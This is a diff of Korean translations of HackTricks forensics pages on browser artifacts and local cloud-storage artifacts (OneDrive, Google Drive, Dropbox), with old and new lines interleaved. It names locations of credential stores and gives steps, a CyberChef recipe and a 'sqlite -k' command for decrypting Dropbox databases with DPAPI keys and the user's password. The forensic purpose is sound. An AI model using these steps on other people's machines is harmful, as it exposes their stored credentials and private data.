- **Cache**: 캐시된 데이터를 보유합니다. Windows 사용자는 [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html)를 활용하여 검사할 수 있습니다. * **Cache**: 캐시된 데이터를 보유합니다. 검사를 위해 Windows 사용자는 [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html)를 사용할 수 있습니다.
- **Bookmarks**: 사용자 북마크. * **Bookmarks**: 사용자 북마크.
- **Web Data**: 양식 기록을 포함합니다. * **Web Data**: 양식 기록을 포함합니다.
- **Favicons**: 웹 사이트의 아이콘을 저장합니다. * **Favicons**: 웹사이트 파비콘을 저장합니다.
- **Login Data**: 사용자 이름 및 비밀번호와 같은 로그인 자격 증명을 포함합니다. * **Login Data**: 사용자 이름 및 비밀번호와 같은 로그인 자격 증명을 포함합니다.
- **Current Session**/**Current Tabs**: 현재 브라우징 세션 및 열린 탭에 대한 데이터를 포함합니다. * **Current Session**/**Current Tabs**: 현재 브라우징 세션 및 열린 탭에 대한 데이터.
- **Last Session**/**Last Tabs**: Chrome이 닫히기 전 마지막 세션 중 활성 상태인 사이트에 대한 정보를 포함합니다. * **Last Session**/**Last Tabs**: Chrome이 닫히기 전 마지막 세션 동안 활성 상태였던 사이트에 대한 정보.
- **Extensions**: 브라우저 확장 프로그램 및 애드온을 위한 디렉토리. * **Extensions**: 브라우저 확장 및 애드온을 위한 디렉토리.
- **Thumbnails**: 웹 사이트 썸네일을 저장합니다. * **Thumbnails**: 웹사이트 썸네일을 저장합니다.
- **Preferences**: 플러그인, 확장 프로그램, 팝업, 알림 등의 설정을 포함한 정보가 풍부한 파일입니다. * **Preferences**: 플러그인, 확장, 팝업, 알림 등에 대한 설정을 포함한 정보가 풍부한 파일입니다.
- **브라우저 내장 안티 피싱**: 안티 피싱 및 악성 코드 보호가 활성화되어 있는지 확인하려면 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`를 실행합니다. 출력에서 `{"enabled: true,"}`를 찾습니다. * **Browsers built-in anti-phishing**: 안티 피싱 및 맬웨어 보호가 활성화되어 있는지 확인하려면 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`를 실행합니다. 출력에서 `{"enabled: true,"}`를 찾습니다.
## **SQLite DB 데이터 복구** ## **SQLite DB Data Recovery**
이전 섹션에서 관찰할 수 있듯이 Chrome과 Firefox는 데이터를 저장하기 위해 **SQLite** 데이터베이스를 사용합니다. 삭제된 항목을 복구할 수 있는 도구로 [**sqlparse**](https://github.com/padfoot999/sqlparse) 또는 [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)를 사용할 수 있습니다. 앞서 언급한 바와 같이 Chrome과 Firefox는 데이터를 저장하기 위해 **SQLite** 데이터베이스를 사용합니다. **삭제된 항목을 복구하는 도구** [**sqlparse**](https://github.com/padfoot999/sqlparse) **또는** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)를 사용할 수 있습니다.
## **Internet Explorer 11** ## **Internet Explorer 11**
Internet Explorer 11은 다양한 위치에 데이터 및 메타데이터를 관리하여 저장된 정보와 해당 세부 정보를 쉽게 액세스하고 관리할 수 있도록 지원합니다. Internet Explorer 11은 다양한 위치에 데이터 및 메타데이터를 관리하여 저장된 정보와 해당 세부 정보를 쉽게 접근하고 관리할 수 있도록 돕습니다.
### 메타데이터 저장 ### Metadata Storage
Internet Explorer의 메타데이터는 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`에 저장됩니다(VX는 V01, V16 또는 V24일 수 있음). 이와 함께 `V01.log` 파일은 `WebcacheVX.data`와 수정 시간 불일치를 보여줄 수 있으며, `esentutl /r V01 /d`를 사용하여 복구가 필요할 수 있습니다. 이 ESE 데이터베이스에 저장된 메타데이터는 photorec 및 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)와 같은 도구를 사용하여 복구하고 검사할 수 있습니다. **Containers** 테이블 내에서 각 데이터 세그먼트가 저장된 특정 테이블 또는 컨테이너를 식별할 수 있으며, Skype와 같은 다른 Microsoft 도구의 캐시 세부 정보를 포함합니다. Internet Explorer의 메타데이터는 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`에 저장됩니다 (VX는 V01, V16 또는 V24입니다). 이와 함께 `V01.log` 파일은 `WebcacheVX.data` 수정 시간 불일치를 보여줄 수 있으며, 이는 `esentutl /r V01 /d`를 사용하여 수리할 필요가 있음을 나타냅니다. 이 메타데이터는 ESE 데이터베이스에 저장되며, photorec 및 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)와 같은 도구를 사용하여 복구하고 검사할 수 있습니다. **Containers** 테이블 내에서 각 데이터 세그먼트가 저장된 특정 테이블 또는 컨테이너를 식별할 수 있으며, Skype와 같은 다른 Microsoft 도구의 캐시 세부 정보도 포함됩니다.
### 캐시 검사 ### Cache Inspection
[IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) 도구를 사용하여 캐시를 검사할 수 있으며, 캐시 데이터 추출 폴더 위치가 필요합니다. 캐시의 메타데이터에는 파일 이름, 디렉토리, 액세스 횟수, URL 원본 및 캐시 생성, 액세스, 수정 및 만료 시간을 나타내는 타임스탬프가 포함됩니다. [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) 도구를 사용하여 캐시를 검사할 수 있으며, 캐시 데이터 추출 폴더 위치가 필요합니다. 캐시의 메타데이터에는 파일 이름, 디렉토리, 접근 횟수, URL 출처 및 캐시 생성, 접근, 수정 및 만료 시간을 나타내는 타임스탬프가 포함됩니다.
### 쿠키 관리 ### Cookies Management
쿠키는 [IECookiesView](https://www.nirsoft.net/utils/iecookies.html)를 사용하여 탐색할 수 있으며, 메타데이터에는 이름, URL, 액세스 횟수 및 다양한 시간 관련 세부 정보가 포함됩니다. 영구 쿠키는 `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`에 저장되며, 세션 쿠키는 메모리에 저장됩니다. 쿠키는 [IECookiesView](https://www.nirsoft.net/utils/iecookies.html)를 사용하여 탐색할 수 있으며, 메타데이터에는 이름, URL, 접근 횟수 및 다양한 시간 관련 세부 정보가 포함됩니다. 지속적인 쿠키는 `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`에 저장되며, 세션 쿠키는 메모리에 존재합니다.
### 다운로드 세부 정보 ### Download Details
다운로드 메타데이터는 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)를 통해 액세스할 수 있으며, 특정 컨테이너에는 URL, 파일 유형 및 다운로드 위치와 같은 데이터가 저장됩니다. 물리적 파일은 `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`에서 찾을 수 있습니다. 다운로드 메타데이터는 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)를 통해 접근할 수 있으며, 특정 컨테이너는 URL, 파일 유형 및 다운로드 위치와 같은 데이터를 보유합니다. 물리적 파일은 `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` 아래에서 찾을 수 있습니다.
### 브라우징 히스토리 ### Browsing History
브라우징 히스토리를 검토하려면 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)를 사용하며, 추출된 히스토리 파일의 위치와 Internet Explorer 구성이 필요합니다. 여기서 메타데이터에는 수정 및 액세스 시간과 액세스 횟수가 포함됩니다. 히스토리 파일은 `%userprofile%\Appdata\Local\Microsoft\Windows\History`에 있습니다. 브라우징 기록을 검토하려면 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)를 사용할 수 있으며, 추출된 기록 파일의 위치와 Internet Explorer에 대한 구성이 필요합니다. 여기의 메타데이터에는 수정 및 접근 시간과 접근 횟수가 포함됩니다. 기록 파일은 `%userprofile%\Appdata\Local\Microsoft\Windows\History`에 위치합니다.
### 입력된 URL ### Typed URLs
입력된 URL 및 사용 시간은 레지스트리 내 `NTUSER.DAT``Software\Microsoft\InternetExplorer\TypedURLs``Software\Microsoft\InternetExplorer\TypedURLsTime`에 저장되며, 사용자가 입력한 마지막 50개 URL과 마지막 입력 시간을 추적합니다. 입력된 URL 및 사용 시간은 `NTUSER.DAT``Software\Microsoft\InternetExplorer\TypedURLs``Software\Microsoft\InternetExplorer\TypedURLsTime` 레지스트리에 저장되어 있으며, 사용자가 입력한 마지막 50개 URL과 마지막 입력 시간을 추적합니다.
## Microsoft Edge ## Microsoft Edge
Microsoft Edge는 사용자 데이터를 `%userprofile%\Appdata\Local\Packages`에 저장합니다. 다양한 데이터 유형 경로는 다음과 같습니다: Microsoft Edge는 사용자 데이터를 `%userprofile%\Appdata\Local\Packages`에 저장합니다. 다양한 데이터 유형에 대한 경로는 다음과 같습니다:
- **프로필 경로**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` * **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **히스토리, 쿠키 및 다운로드**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` * **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **설정, 북마크 및 읽기 목록**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` * **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
- **캐시**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` * **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
- **최근 활성 세션**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` * **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari ## Safari
Safari 데이터는 `/Users/$User/Library/Safari`에 저장됩니다. 주요 파일은 다음과 같습니다: Safari 데이터는 `/Users/$User/Library/Safari`에 저장됩니다. 주요 파일은 다음과 같습니다:
- **History.db**: URL 및 방문 타임스탬프를 포함하는 `history_visits``history_items` 테이블이 포함되어 있습니다. 쿼리를 수행하려면 `sqlite3`를 사용합니다. * **History.db**: `history_visits``history_items` 테이블에 URL 및 방문 타임스탬프가 포함되어 있습니다. `sqlite3`를 사용하여 쿼리합니다.
- **Downloads.plist**: 다운로드된 파일에 대한 정보가 포함되어 있습니다. * **Downloads.plist**: 다운로드된 파일에 대한 정보.
- **Bookmarks.plist**: 북마크된 URL을 저장합니다. * **Bookmarks.plist**: 북마크된 URL을 저장합니다.
- **TopSites.plist**: 가장 자주 방문하는 사이트. * **TopSites.plist**: 가장 자주 방문한 사이트.
- **Extensions.plist**: Safari 브라우저 확장 프로그램 목록입니다. 검색하려면 `plutil` 또는 `pluginkit`을 사용합니다. * **Extensions.plist**: Safari 브라우저 확장 목록. `plutil` 또는 `pluginkit`을 사용하여 검색합니다.
- **UserNotificationPermissions.plist**: 푸시 알림을 허용하는 도메인입니다. 파싱하려면 `plutil`을 사용합니다. * **UserNotificationPermissions.plist**: 푸시 알림을 허용하는 도메인. `plutil`을 사용하여 구문 분석합니다.
- **LastSession.plist**: 마지막 세션의 탭입니다. 파싱하려면 `plutil`을 사용합니다. * **LastSession.plist**: 마지막 세션의 탭. `plutil`을 사용하여 구문 분석합니다.
- **브라우저 내장 안티 피싱**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`를 사용하여 확인합니다. 1이 응답되면 해당 기능이 활성화되어 있는 것입니다. * **Browsers built-in anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`를 사용하여 확인합니다. 응답이 1이면 기능이 활성화되어 있음을 나타냅니다.
## Opera ## Opera
Opera 데이터는 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`저장되며, 히스토리 및 다운로드에 대한 Chrome의 형식을 공유합니다. Opera 데이터는 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`위치하며, 기록 및 다운로드에 대한 Chrome의 형식을 공유합니다.
- **브라우저 내장 안티 피싱**: `fraud_protection_enabled``true`로 설정되어 있는지 확인하려면 `grep`를 사용합니다. * **Browsers built-in anti-phishing**: Preferences 파일에서 `fraud_protection_enabled``true`로 설정되어 있는지 확인하여 검증합니다.
러한 경로 및 명령은 다른 웹 브라우저에 의해 저장된 브라우징 데이터에 액세스하고 이해하는 데 중요합니다. 경로와 명령은 다양한 웹 브라우저에 저장된 브라우징 데이터에 접근하고 이해하는 데 중요합니다.
## 참고 자료 ## References
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) * [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) * [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file) * [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
* **: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** * **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
오늘 바로 액세스하세요: Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 제로에서 영웅까지 AWS 해킹을 배우세요</strong></summary> <summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks를 지원하는 다른 방법: Other ways to support HackTricks:
* **HackTricks**에서 귀하의 **회사 광고를 보고** 싶거나 **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **다음에 가입하세요** 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 또는 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**. * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요. * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,55 +1,55 @@
# 로컬 클라우드 저장소 # 로컬 클라우드 스토리지
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* 여러분의 해킹 기술을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 오늘 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
## OneDrive ## OneDrive
Windows에서 OneDrive 폴더는 `\Users\<username>\AppData\Local\Microsoft\OneDrive`에 있습니다. 그리고 `logs\Personal` 폴더 안에 `SyncDiagnostics.log` 파일을 찾을 수 있으며, 이 파일에는 동기화된 파일에 관한 몇 가지 흥미로운 데이터가 포함되어 있습니다: Windows에서 OneDrive 폴더는 `\Users\<username>\AppData\Local\Microsoft\OneDrive`에 있습니다. 그리고 `logs\Personal` 안에는 동기화된 파일에 대한 흥미로운 데이터가 포함된 `SyncDiagnostics.log` 파일을 찾을 수 있습니다:
* 바이트 단위 크기 * 바이트 단위 크기
* 생성 날짜 * 생성 날짜
* 수정 날짜 * 수정 날짜
* 클라우드의 파일 수 * 클라우드의 파일 수
* 폴더의 파일 수 * 폴더의 파일 수
* **CID**: OneDrive 사용자 고유 ID * **CID**: OneDrive 사용자 고유 ID
* 보고서 생성 시간 * 보고서 생성 시간
* OS의 HD 크기 * OS의 HD 크기
CID를 찾았다면 **이 ID를 포함하는 파일을 검색**하는 것이 좋습니다. OneDrive와 동기화된 파일의 이름을 포함할 수 있는 _**\<CID>.ini**_ 및 _**\<CID>.dat**_와 같은 파일을 찾을 수 있습니다. CID를 찾은 후에는 **이 ID가 포함된 파일을 검색하는 것이 좋습니다**. _**\<CID>.ini**_ 및 _**\<CID>.dat**_와 같은 이름의 파일을 찾을 수 있으며, 이 파일에는 OneDrive와 동기화된 파일의 이름과 같은 흥미로운 정보가 포함될 수 있습니다.
## Google Drive ## Google Drive
Windows에서 Google Drive 주 폴더는 `\Users\<username>\AppData\Local\Google\Drive\user_default`에 있습니다.\ Windows에서 Google Drive 폴더는 `\Users\<username>\AppData\Local\Google\Drive\user_default`에 있습니다.\
이 폴더에는 Sync\_log.log라는 파일이 포함되어 있으며, 해당 파일에는 계정의 이메일 주소, 파일 이름, 타임스탬프, 파일의 MD5 해시 등과 같은 정보가 포함되어 있습니다. 심지어 삭제된 파일도 해당 로그 파일에 해당하는 MD5와 함께 나타납니다. 이 폴더에는 계정의 이메일 주소, 파일 이름, 타임스탬프, 파일의 MD5 해시 등의 정보가 포함된 Sync\_log.log라는 파일이 있습니다. 삭제된 파일도 해당 로그 파일에 MD5와 함께 나타납니다.
파일 **`Cloud_graph\Cloud_graph.db`**는 **`cloud_graph_entry`** 테이블을 포함하는 sqlite 데이터베이스이며, 이 테이블에서 **동기화된 파일의 이름**, 수정 시간, 크기 및 파일의 MD5 체크섬을 찾을 수 있습니다. **`Cloud_graph\Cloud_graph.db`** 파일은 sqlite 데이터베이스로, **`cloud_graph_entry`** 테이블을 포함하고 있습니다. 이 테이블에서는 **동기화된** **파일의 이름**, 수정 시간, 크기 및 파일의 MD5 체크섬을 찾을 수 있습니다.
데이터베이스 **`Sync_config.db`**의 테이블 데이터에는 계정의 이메일 주소, 공유 폴더의 경로 및 Google Drive 버전이 포함되어 있습니다. 데이터베이스 **`Sync_config.db`**의 테이블 데이터에는 계정의 이메일 주소, 공유 폴더의 경로 및 Google Drive 버전이 포함되어 있습니다.
## Dropbox ## Dropbox
Dropbox는 파일을 관리하기 위해 **SQLite 데이터베이스**를 사용합니다. 여기에서\ Dropbox는 파일 관리를 위해 **SQLite 데이터베이스**를 사용합니다. 이 데이터베이스는 다음 폴더에서 찾을 수 있습니다:
데이터베이스를 찾을 수 있습니다:
* `\Users\<username>\AppData\Local\Dropbox` * `\Users\<username>\AppData\Local\Dropbox`
* `\Users\<username>\AppData\Local\Dropbox\Instance1` * `\Users\<username>\AppData\Local\Dropbox\Instance1`
@ -62,9 +62,9 @@ Dropbox는 파일을 관리하기 위해 **SQLite 데이터베이스**를 사용
* Deleted.dbx * Deleted.dbx
* Config.dbx * Config.dbx
".dbx" 확장자는 데이터베이스가 **암호화**되었음을 의미합니다. Dropbox는 **DPAPI**를 사용합니다 ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) ".dbx" 확장자는 **데이터베이스**가 **암호화**되어 있음을 의미합니다. Dropbox는 **DPAPI**를 사용합니다 ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Dropbox가 사용하는 암호화를 더 잘 이해하려면 [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) 읽어보세요. Dropbox가 사용하는 암호화를 더 잘 이해하려면 [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html) 읽어보세요.
그러나 주요 정보는 다음과 같습니다: 그러나 주요 정보는 다음과 같습니다:
@ -73,64 +73,65 @@ Dropbox가 사용하는 암호화를 더 잘 이해하려면 [https://blog.digit
* **알고리즘**: PBKDF2 * **알고리즘**: PBKDF2
* **반복 횟수**: 1066 * **반복 횟수**: 1066
해당 정보 외에도 데이터베이스를 복호화하려면 다음이 필요합니다: 외에도 데이터베이스를 복호화하려면 다음이 필요합니다:
* **암호화된 DPAPI 키**: 이진으로 내보낸 `NTUSER.DAT\Software\Dropbox\ks\client` 레지스트리에서 찾을 수 있습니다. * **암호화된 DPAPI 키**: `NTUSER.DAT\Software\Dropbox\ks\client`의 레지스트리에서 찾을 수 있습니다 (이 데이터를 이진 형식으로 내보내기)
* **`SYSTEM`** 및 **`SECURITY`** 하이브 * **`SYSTEM`** 및 **`SECURITY`** 하이브
* **DPAPI 마스터 키**: `\Users\<username>\AppData\Roaming\Microsoft\Protect`에서 찾을 수 있습니다. * **DPAPI 마스터 키**: `\Users\<username>\AppData\Roaming\Microsoft\Protect`에서 찾을 수 있습니다
* Windows 사용자의 **사용자 이름** 및 **호** * Windows 사용자의 **사용자 이름** 및 **비밀번호**
그런 다음 [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html) 도구를 사용할 수 있습니다: 그런 다음 [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)** 도구를 사용할 수 있습니다:**
![](<../../../.gitbook/assets/image (443).png>) ![](<../../../.gitbook/assets/image (443).png>)
모든 것이 예상대로 진행되면, 도구는 **복구에 사용할 주요 키**를 나타낼 것입니다. 원래 키를 복구하려면 이 [cyber\_chef 레시피](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\))를 사용하여 "passphrase"로 주요 키를 넣으세요. 모든 것이 예상대로 진행되면, 도구는 원본을 복구하는 데 필요한 **기본 키**를 표시합니다. 원본을 복구하려면 이 [cyber\_chef 레시피](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\))를 사용하여 기본 키를 레시피의 "비밀번호"로 넣으면 됩니다.
결과 hex는 데이터베이스를 복호화하는 데 사용되는 최종 키이며 다음과 같이 복호화할 수 있습니다: 결과로 나온 헥스는 데이터베이스를 암호화하는 데 사용된 최종 키이며, 이를 복호화할 수 있습니다:
```bash ```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
``` ```
**`config.dbx`** 데이터베이스에는 다음이 포함되어 있습니다: The **`config.dbx`** 데이터베이스에는 다음이 포함됩니다:
* **이메일**: 사용자의 이메일 * **Email**: 사용자의 이메일
* **usernamedisplayname**: 사용자의 이름 * **usernamedisplayname**: 사용자의 이름
* **dropbox\_path**: Dropbox 폴더가 위치한 경로 * **dropbox\_path**: 드롭박스 폴더가 위치한 경로
* **Host\_id: 클라우드에 인증하는 데 사용되는 해시**. 이는 웹에서만 취소할 수 있습니다. * **Host\_id: Hash**: 클라우드에 인증하는 데 사용됩니다. 이는 웹에서만 취소할 수 있습니다.
* **Root\_ns**: 사용자 식별자 * **Root\_ns**: 사용자 식별자
**`filecache.db`** 데이터베이스에는 Dropbox와 동기화된 모든 파일 및 폴더에 대한 정보가 포함되어 있습니다. `File_journal` 테이블에는 더 유용한 정보가 포함되어 있습니다: The **`filecache.db`** 데이터베이스는 드롭박스와 동기화된 모든 파일 및 폴더에 대한 정보를 포함합니다. `File_journal` 테이블이 가장 유용한 정보를 포함하고 있습니다:
* **Server\_path**: 서버 내 파일이 위치한 경로 (`host_id`가 클라이언트의 앞에 오는 경로). * **Server\_path**: 서버 내에서 파일이 위치한 경로 (이 경로는 클라이언트의 `host_id`로 선행됩니다).
* **local\_sjid**: 파일의 버전 * **local\_sjid**: 파일의 버전
* **local\_mtime**: 수정 날짜 * **local\_mtime**: 수정 날짜
* **local\_ctime**: 생성 날짜 * **local\_ctime**: 생성 날짜
이 데이터베이스 내의 다른 테이블에는 더 흥미로운 정보가 포함되어 있습니다: 이 데이터베이스 내의 다른 테이블은 더 흥미로운 정보를 포함합니다:
